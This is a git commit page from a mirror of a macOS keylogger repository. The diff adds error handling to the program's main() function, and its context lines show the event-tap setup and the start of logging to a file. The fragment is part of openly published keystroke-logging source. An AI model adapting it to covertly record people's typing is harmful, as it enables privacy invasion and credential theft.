1
0
mirror of https://github.com/caseyscarborough/keylogger.git synced 2020-11-18 19:53:40 -08:00

Exit program when unable to open log file.

This commit is contained in:
Casey Scarborough 2014-02-27 17:16:44 -05:00
parent 1d981ea99f
commit d701194d7e

View File

@ -10,7 +10,7 @@ int main(int argc, const char *argv[]) {
// Exit the program if unable to create the event tap. // Exit the program if unable to create the event tap.
if(!eventTap) { if(!eventTap) {
printf("Unable to create event tap.\n"); fprintf(stderr, "ERROR: Unable to create event tap.\n");
exit(1); exit(1);
} }
@ -19,6 +19,7 @@ int main(int argc, const char *argv[]) {
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes); CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
CGEventTapEnable(eventTap, true); CGEventTapEnable(eventTap, true);
// Clear the logfile if clear argument used or log to specific file if given. // Clear the logfile if clear argument used or log to specific file if given.
if(argc == 2) { if(argc == 2) {
if(strcmp(argv[1], "clear") == 0) { if(strcmp(argv[1], "clear") == 0) {
@ -35,6 +36,11 @@ int main(int argc, const char *argv[]) {
time_t result = time(NULL); time_t result = time(NULL);
logfile = fopen(logfileLocation, "a"); logfile = fopen(logfileLocation, "a");
if (!logfile) {
fprintf(stderr, "ERROR: Unable to open log file. Ensure that you have the proper permissions.\n");
exit(1);
}
// Output to logfile. // Output to logfile.
fprintf(logfile, "\n\nKeylogging has begun.\n%s\n", asctime(localtime(&result))); fprintf(logfile, "\n\nKeylogging has begun.\n%s\n", asctime(localtime(&result)));
fflush(logfile); fflush(logfile);